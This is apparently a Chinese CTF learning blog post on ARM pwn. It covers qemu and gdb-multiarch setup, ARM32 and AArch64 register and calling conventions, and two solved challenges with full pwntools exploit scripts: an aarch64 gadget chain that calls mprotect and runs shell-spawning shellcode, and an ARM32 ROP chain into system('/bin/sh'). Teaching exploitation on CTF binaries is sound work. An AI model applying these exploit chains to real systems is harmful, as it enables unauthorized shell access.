「 PWN 」 January 03, 2020

32位、64位下arm_pwn学习

Words count 28k Reading time 25 mins. Read count 0

前言:

pwn的学习之路一直在进行,今天看了arm_pwn,搞环境就搞了半天,琢磨工具使用到做题,这里总结下,希望能帮助到大家,少走一点弯路。

一、环境配置:

环境是一大玄学问题,这里仅仅是 我Ubuntu16.04下的环境配置,亲测有效,但是遇到玄学的问题时,也请留言,努力帮大家解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#安装qemu
sudo apt-get install qemu
#sudo apt-get install qemu-user(ubuntu20下命令)
#更新一下
sudo apt-get update
#安装32位的依赖库
sudo apt-get install -y gcc-arm-linux-gnueabi
#运行32位的动态链接程序方法
qemu-arm -L /usr/arm-linux-gnueabi ./文件
#安装64位的依赖库
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
#运行64位的动态链接程序方法
qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件
#安装gdb调试工具
sudo apt-get install git gdb gdb-multiarch
#32位程序下断调试步骤
qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)
gdb-multiarch ./文件(窗口2)
pwndbg> target remote :1234
pwndbg> b *0x8bb0
#64位程序下断调试步骤
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)
gdb-multiarch ./文件(窗口2)
pwndbg> target remote :1234
pwndbg> b *0x8bb0

运行程序时先用strings看清楚是用什么编译的,确定好ubuntu版本后再下刀!

二、arm汇编基础:

环境起来了,就可以像平时一样分析漏洞打题了,但是还是有不同的地方:

1、arm32只有16个32bit的通用寄存器,r0到r12,lr,pc,sp,函数调用时,前4个参数是压入寄存器的(r0、r1、r2、r3),后面的参数是压入栈中的

2、arm64有32个64bit长度的通用寄存器x0到x30以及sp,函数调用时,前8个参数都是通过寄存器来传递x0到x7

3、用一张图表熟悉常见的arm汇编指令

指令 描述 指令 描述
MOV 移动数据 EOR 按位异或
MVN 移动并取反 LDR 加载
ADD 加 STR 存储
SUB 减 LDM 加载多个
MUL 乘 STM 存储多个
LSL 逻辑左移 PUSH 入栈
LSR 逻辑右移 POP 出栈
ASR 算术右移 B 跳转
ROR 右旋 BL Link跳转
CMP 比较 BX 分支跳转
AND 按位与 BLX 使用Link分支跳转
ORR 按位或 SWI/SVC 系统调用

4、举几个常见的汇编代码:

1
2
3
4
5
6
7
8
ldr r0,[r1, #4]     //将内存单元R1+4中的字读取到R0寄存器中,同时R1=R1+4
add r1,r2,#1 //表示r1=r2+1, 即寄存器r1的值等于寄存器r2的值加上1
b、bl //相当于call
BIC R1, R1, #0x0F //将R1 低4位清0
mov r1,#4096 //r1 = 4096
msr cpsr,r0 //复制r0到cpsr中
str r1,[r2,#4] //将r1的数据保存到地址为r2+4的内存单元中
sub r1,r2,#1 //表示r1=r2-1

5、lr、sp、pc三大寄存器

​ 堆栈指针r13(SP):每一种异常模式都有其自己独立的r13,它通常指向异常模式所专用的堆栈,也就是说五种异常模式、非异常模式(用户模式和系统模式),都有各自独立的堆栈,用不同的堆栈指针来索引。这样当ARM进入异常模式的时候,程序就可以把一般通用寄存器压入堆栈,返回时再出栈,保证了各种模式下程序的状态的完整性。

​ 连接寄存器r14(LR):每种模式下r14都有自身版组,它有两个特殊功能。

​ (1)保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回,通常用下列指令之一:
​ MOV PC, LR
​ BX LR

​ 通常子程序这样写,保证了子程序中还可以调用子程序。
​ stmfd sp!, {lr}
​ ……
​ ldmfd sp!, {pc}

​ (2)当异常发生时,异常模式的r14用来保存异常返回地址,将r14如栈可以处理嵌套中断。

​ 程序计数器r15(PC):PC是有读写限制的。当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,由于ARM指令总是以字对齐的,故bit[1:0]总是00。当用str或stm存储PC的时候,偏移量有可能是8或12等其它值。在V3及以下版本中,写入bit[1:0]的值将被忽略,而在V4及以上版本写入r15的bit[1:0]必须为00,否则后果不可预测。

如果通俗地理解就是lr=ret地址,sp=rsp,pc=rip

相对的,x30是存放ret地址

arm数据类型与寄存器

image-20200720160343396

ldr和str可以看成load和store

字节序方面同样存在大端序和小端序的问题

arm32中,前16个寄存器r0-r15可在任何特权模式下访问,分为2组,分别是通用寄存器(r0-r12)和专用寄存器(r13-r15)

32位寄存器

​ R0-R12:可在常规操作期间用于存储临时值,指针(到存储器的位置)等,例如:

●R0在算术操作期间可称为累加器,或用于存储先前调用的函数返回结果

●R7在处理系统调用时非常有用,因为它存储系统调用号

●R11帮助我们跟踪用作帧指针的堆栈的边界

●ARM上的函数调用约定指定函数的前四个参数存储在寄存器r0-r3中,剩下的再存入栈中

image-20200720162431138

image-20200720162445588

R13:SP(堆栈指针)。堆栈指针指向堆栈的顶部。堆栈是用于函数特定存储的内存区域,函数返回时将对其进行回收。因此,通过从堆栈指针中减去我们要分配的值(以字节为单位),堆栈指针可用于在堆栈上分配空间。换句话说,如果我们要分配一个32位值,则从堆栈指针中减去4

R14:LR(链接寄存器)。进行功能调用时,链接寄存器将使用一个内存地址进行更新,该内存地址引用了从其开始该功能的下一条指令。这样做可以使程序返回到“父”函数,该子函数在“子”函数完成后启动“父”函数调用

R15:PC(程序计数器)。程序计数器自动增加执行指令的大小。在ARM状态下,此大小始终为4个字节,在THUMB模式下,此大小始终为2个字节。当执行转移指令时,PC保留目标地址。在执行期间,PC在ARM状态下存储当前指令的地址加8(两个ARM指令),在Thumb(v1)状态下存储当前指令的地址加4(两个Thumb指令)。这与x86不同,x86中PC始终指向要执行的下一条指令

32位寄存器

1.当参数少于4个时,子程序间通过寄存器R0R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0R3的值

2.在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存

3.R13用作数据帧指针,记作SP;R14用作链接寄存器,记作LR,用于保存子程序返回时的地址;R15是程序计数器,记作PC

4.ATPCS规定堆栈是满递减堆栈FD;

5.子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位

64位寄存器

ARM64位参数调用规则遵循AAPCS64,规定堆栈为满递减堆栈。

寄存器调用规则如下:

image-20200720174745645

在执行压栈和出栈的指令时,通常使用LDMIA/STMDB

​ 但事实上在汇编的过程中,可以看到LDMIA和STMDB指令已转换为PUSH和POP,那是因为 PUSH和STMDB sp!, reglist,POP和LDMIA sp! Reglist是等价的

三、做题实战

1、64位下的arm程序57303912955

可以看到程序除了NX,什么也没有开,ida分析下逻辑:

57303951164

先读0x200字节到bss段中,然后再栈溢出,漏洞点相当简单,既然有读到栈上我们就直接填shellcode然后改写下bss权限为7即可,但是这是在arm的环境下,所以实现起来,相对困难一点点

首先ida直接分析栈偏移是不行的,我们可以通过cyclic去计算出偏移(动态调试一下即可),可以算出偏移为72,

接着我们要栈溢出执行mprotect,这里三个参数都要满足比较辛苦,但是我们可以通过中级栈溢出的方式去得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] // x3=[x21+x19*8]
.text:00000000004008B0 MOV X2, X22 //x2=x22
.text:00000000004008B4 MOV X1, X23 //x1=x23
.text:00000000004008B8 MOV W0, W24 // w0=w24(低位)
.text:00000000004008BC ADD X19, X19, #1 // x19=x19+1
.text:00000000004008C0 BLR X3 // call x3
.text:00000000004008C4 CMP X19, X20 ;
.text:00000000004008C8 B.NE loc_4008AC // jmp if not equal
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10] ;
//x19=sp+0x10,x20=[sp+0x18]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
//x21=sp+0x20,x22=[sp+0x28]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
//x23=sp+0x30,x24=[sp+0x38]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 ; Load Pair
//x29=[sp], x30=[sp+8]
.text:00000000004008DC RET //ret [x30]

根据前面学的arm的汇编基础,我们很容易将代码读懂,这里我做了注释,方便看清楚。

好了知道意思后,利用就和elf文件一样,我们控制好参数,写个集成函数即可,这里有个坑点,就是填got表是无法实现调用的,因为arm不太一样,这里我们需要伪造一个mprotect_plt的got表,实现调用,可以将mprotect_plt写到bss上就搞定了,执行完我们再ret我们的shellcode的位置既可,下面上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
bin_elf = './64arm'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])

elf = ELF(bin_elf)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

gadget1 = 0x00004008CC
gadget2 = 0x00004008AC
bss = 0x0000411068
mprotect = 0x000400600
ru("Name:")
shellcode = asm(shellcraft.aarch64.sh())
py = ''
py += p64(mprotect)
py += shellcode
sl(py)

def middle_stackoverlow(offset,x0,x1,x2,function_addr,ret_addr):
py = ''
py += 'a'*offset
py += p64(gadget1)
py += p64(0)
py += p64(gadget2)
py += p64(0)
py += p64(1)
py += p64(function_addr)
py += p64(x2)#x22=x2
py += p64(x1)#x23=x1
py += p64(x0)#24=x0
py += p64(0)
py += p64(ret_addr)
sl(py)

middle_stackoverlow(72,0x411000,0x1000,0x7,bss,bss+8)
p.interactive()
2、32位下的arm程序

57305317411

一样保护几乎没开,ida分析一波:

57305320743

ida静态分析,可能不是很好看,所以进行黑盒测试,直接运行看:

57305339027

可以知道先换行,然后再输入内容,会回显那个英文,还是个循环,没了。

所以关键就是第二次输入,没开canary,猜想是栈溢出的题目,直接cyclic动态调试可以计算偏移:112

同时程序有system和binsh的后门,根据rop,我们pop参数到r0即可实现调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
bin_elf = './arm'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi",bin_elf])
else:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", bin_elf])

elf = ELF(bin_elf)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

pop_r0_r4_ret = 0x00020904
binsh = 0x006C384
system_plt = 0x00110B4
ru("if you want to quit")
sl("")
py = ''
py += 'a'*112
py += p32(pop_r0_r4_ret)
py += p32(binsh)
py += p32(0)
py += p32(system_plt)
ru("------Begin------")
sl(py)

p.interactive()

总结:

综上,其实还有种题目是leak出地址,然后再system去getshell,elf文件中很常见的ret2libc,会发现原理都一样其实,arm_pwn只是换汤不换药的一种新题型,掌握汇编原理和漏洞原理就可以做。
0%